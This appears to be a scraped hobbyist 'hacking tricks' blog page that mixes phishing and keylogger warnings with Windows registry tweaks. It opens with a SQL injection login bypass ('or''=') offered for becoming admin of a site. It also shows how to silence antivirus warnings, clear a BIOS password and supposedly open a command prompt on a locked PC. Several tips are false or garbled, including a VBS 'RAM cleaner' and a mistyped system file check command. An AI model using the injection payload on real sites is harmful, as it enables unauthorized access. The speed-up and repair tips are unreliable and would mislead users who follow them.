username: admin pass: 'or''=' 

ENJOY :) BEcoME A aDmin OF THIX Site

Read More

Keylogger

Keylogger

Dear friends,
If you visit a cyber cafe and find any black pin attached to your CPU as shown in the picture, kindly do not use that system. This pin is actually a connection which save all your data you enter in the system.

 Thus it is a risk to your privacy over net. Risk to passwords, banking or any data you entered.
Itz a hardware keylogger very powerful it records each and every action ur system.

Read More

Phishing Attacks (Full Introduction and protection measures)

Phishing Attacks (Full Introduction and protection measures)

Here we tells about PHISHING & How can we protect from it.~!

WHAT IS PHISHING-
The act of sending an e-mail to a user falsely claiming to be an established legitimate enterprise in an attempt to scam the user into surroundering private information that will be used for identity theft. The e-mail directs the user to visit a Web site where they are asked to update personal information, such as passwords and credit card, social security, and bank account numbers, that the legitimate organization already has. The Web site, however, is bogus and set up only to steal the user’s information.

MOBILE PHISHING

Phishing scams are not limited to the internet. Some phishers use the telephone to make requests for information. If you get a call from your banking institution asking for personal information, hang up and call your bank directly. Your bank will have your social security number and account information on file and should only ask you to verify a few digits.
like Iphone,Apple ,iTunes n more...By SMS
EXAMPLE-
Congratulations! Your mobile phone has won US$ 10 Million prize money. To claim your money, call this number XXXXXXXX,give your permanent address,pin number,account number or credit card number...
The phisher can ask like it They want your personal Information.
Some people do the reply to phisher then after heshe can be target of Phisher... so never be reply these type of Messages or Mail.
In a phishing attack, the attacker creates a situation wherein people believe that they are dealing with an authorized party, like their bank or another service provider. The attacker will ask the victim for sensitive information such as credit card information.
Phishing attacks generally target
Bank information – e.g. VISA and PayPal accounts.
Username and password information.
Social Security numbers.
Information which can be used to retrieve forgotten or lost credentials.
Follow the tips below to protect yourself against these threats
Your bank will never ask you to divulge account information or passwords via email. Never give out this information, especially via email.
· Don’t open emails that come from untrusted sources.
· Don’t run files that you receive via email without making sure of their origin.
· Don’t click links in emails. If they come from a known source, type them on the browser’s address bar. If they come from an untrusted source, simply ignore them, as they could take you to a web designed to download malware onto your computer.
· Keep your computer protected. Install a security solution and keep it up-to-date.
Protect yourself from Phishing scams that could lead to identity theft. I cannot stress this enough. Phishing scams are a hot topic lately that have grown with the popularity of online banking and social networking sites like MySpace, Facebook and Friendster.
The term Phishing comes from the analogy to fishing. The phisher uses a bait to lure victims into giving out personal information like passwords and credit card numbers. The bait is typically and urgent plea from one of the victims friends or trusted websites, asking for information to resolve some sort of problem with their account.
Anti-phishing software is a must for anyone that accesses the internet. Most of the internet service providers have some safety measures included as part of their online security software. Most web browsers also have add-ons that can detect most phishing scams. Unfortunately, these measures are not enough. Some of the more clever phishers have found ways to trick the anti-phishing software so you need to be cautious of suspicious emails and messages.

Read More

HIDE DRIVES

HIDE DRIVES

How to Hide the drives(c,d,e,a...etc)

To disable the display of local or networked drives when you click My Computer.
1.Go to start-run.Type regedit.Now go to

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPolicies

Explorer

2.In the right pane create a new DWORD item and name it NoDrives(it is case sensitive).

3.Modify it's value and set it to 3FFFFFF (Hexadecimal) .

4.Restart the computer.

5.Now when you click on My Computer, no drives will be shown(all gone...).

To enable display of drives in My Computer, simply delete this DWORD item that you created. Restart your computer. All the drives are back again.

Read More

Disable the Security Center warnings

Disable the Security Center warnings

Follow the given steps to edit the computer registry for disable message
First click on Start button then type Regedit in Run option.
Here locate the location to
• HKEY_LOCAL_MACHINESOFTWAREMicrosoftSecurity Center
Here in right side panel, double click on Anti Virus Disable Notify and set its value 1.
Now close the registry editor and restart your computer after any changes to go into effect.

Read More

To Remove Recyle Bin From Your Desktop

To Remove Recyle Bin From Your Desktop

Open Regedit by going to START - RUN and type Regedit and hit enter. Then you should navigate to following entry in registry HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorer DesktopNameSpace{645FF040-5081-101B-9F08-00AA002F954E} and delete it. This action should remove recycle bin from your desktop.

Read More

Locking Drives

Locking Drives

We don’t usually prefer to lock our drives, but sometimes it becomes nesscary. Say for instance you might have stored your office documents in D and you don’t want your kids to access it, in such case this technique can be useful for you. Please don’t try this tweak with your root drive (usually C is the root drive) since root drives are not intended to be locked because they are mandatory for the system and application programs.

Start & Run and type Regedit to open Registry editor
Browse HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurre ntVersionPoliciesExplorer
Create a new DWORD value NoViewOnDrive and set its value as

2^ (Alpha Number of Drive Letter-1) where Alpha number are simple counting of alphabets from A to Z as 1 - 26
For example to lock C, Alpha number of C is 3 so 2^ (3-1) = 4 (decimal value)

To lock more drives, calculate the value of each drive and then set sum of those numbers as value
To unlock your drive just delete the key from the registry.

Read More

AUTO DELETE TEMPORARY FOLDER.!!

AUTO DELETE TEMPORARY FOLDER.!!

what i prefer is %temp% without quotes.. at Start - Run.. this opens ur temp folder n den u cal erase it nearly
First go into gpedit.msc
Next select - Computer ConfigurationAdministrative TemplatesWindows ComponentsTerminal ServicesTemporary Folder
Then right click Do Not Delete Temp Folder Upon Exit
Go to properties and hit disable. Now next time Windows puts a temp file in
that folder it will automatically delete it when its done! Note from Forum Admin Remember, GPEDIT (Group Policy Editor) is only available in XP Pro.

Read More

FIX CORRUPTED FILE IN WINDOW XP

FIX CORRUPTED FILE IN WINDOW XP

1.Load XP cd into cd drive

2. go to Run

3. type sfcscannowok

4. Then copy its lost file frm cd.

Read More

Turning off the Help on Min, Max, Close Icons

Turning off the Help on Min, Max, Close Icons

When the mouse goes over the minimize, maximize and close icons on the upper
right hand side of a window.

To disable that display
1. Start Regedit
2. Go to HKEY_CURRENT_USER Control Panel Desktop
3. Create a String Value called MinMaxClose
4. Give it a value of 1
5. Reboot

Read More

Increase the speed of your file sharing

Increase the speed of your file sharing
Simple Way to Share Multiple Folders
Goto Run and Type SHRPUBW.EXE then press Enter
Select the folder you want to share and Set permissions,
your share folder is ready now.....

Read More

Amazing trick for use

Amazing trick for use

Windows Backup Utility if installed
go to run
type ntbackup
ok
Now use backup

Read More

Create folder without name

Create folder without name
select any folder
rename it
press alt & type 0160 or 255
enter

Read More

Trick For Hanged PC

Trick For Hanged PC

If ur PC is hanged then do this.
Press shift+ctrl+esc or ctrl+alt+del
n den click on 'END TASK'
ur PC is runing now

Read More

CracK BIOS Password

CracK BIOS Password

Open the CPU
Observe the Motherbord
Remove the Silver Battery(3v)
Wait 2 minutes and place the Battery
Restoring a Lost Desktop-
Start
Run
Type a period .
Then press Enter

Read More

Make Fast your PC

Make Fast your PC

If your computer is slow
then clean up the ram..

Open notepad
type FREEMEM=SPACE(64000000)
Save it as ram.vbs
now run the script.
Check out !!

Read More

Window Hacking

Window Hacking
window hack

Open COMMAND PROMPT while Locked by User.
open notepad
type www.command.com
then save as cmd.bat at desktop
then enter now its open.....enjoy

Read More

Download Youtube Videos Without any Software

Download Youtube Videos Without any Software

Being Popular Video site, we have numerous tools, applications and web services to download Youtube Videos but to cut the strain of using an youtube downloader or IDM or any other software, here is a simple trick to download youtube videos in any quality instantly by running a Java Script without any need of handy softwares to carry.

Download Regular Quality Youtube Video Direct Links [RQ]

javascript:window.location.href = 'http://youtube.com/get_video?video_id=' + yt.getConfig('SWF_ARGS')['video_id'] + "&l=" + yt.getConfig('SWF_ARGS')['l'] + "&sk=" + yt.getConfig('SWF_ARGS')['sk'] + '&t=' + yt.getConfig('SWF_ARGS')['t'];


Download High Quality Youtube Video Direct Links [HQ]

javascript:window.location.href = 'http://youtube.com/get_video?video_id=' + yt.getConfig('SWF_ARGS')['video_id'] + "&fmt=18&l=" + yt.getConfig('SWF_ARGS')['l'] + "&sk=" + yt.getConfig('SWF_ARGS')['sk'] + '&t=' + yt.getConfig('SWF_ARGS')['t'];


Download High Definition Youtube Videos Direct Links [HD]

javascript:window.location.href = 'http://youtube.com/get_video?video_id=' + yt.getConfig('SWF_ARGS')['video_id'] + "&fmt=22&l=" + yt.getConfig('SWF_ARGS')['l'] + "&sk=" + yt.getConfig('SWF_ARGS')['sk'] + '&t=' + yt.getConfig('SWF_ARGS')['t'];

How to use these scripts?

Now you can see what's hidden 1. Open any Youtube Video which you want to download.

2. Just copy the whole script (according to Quality Needed) and paste it on the address bar of the browser where the video is open.

3. Now Press Enter Key and Download of that yotube video will start instantly.

Don't Forget to say thanx...

~~~@[)m!N-@$@[)~~~

Read More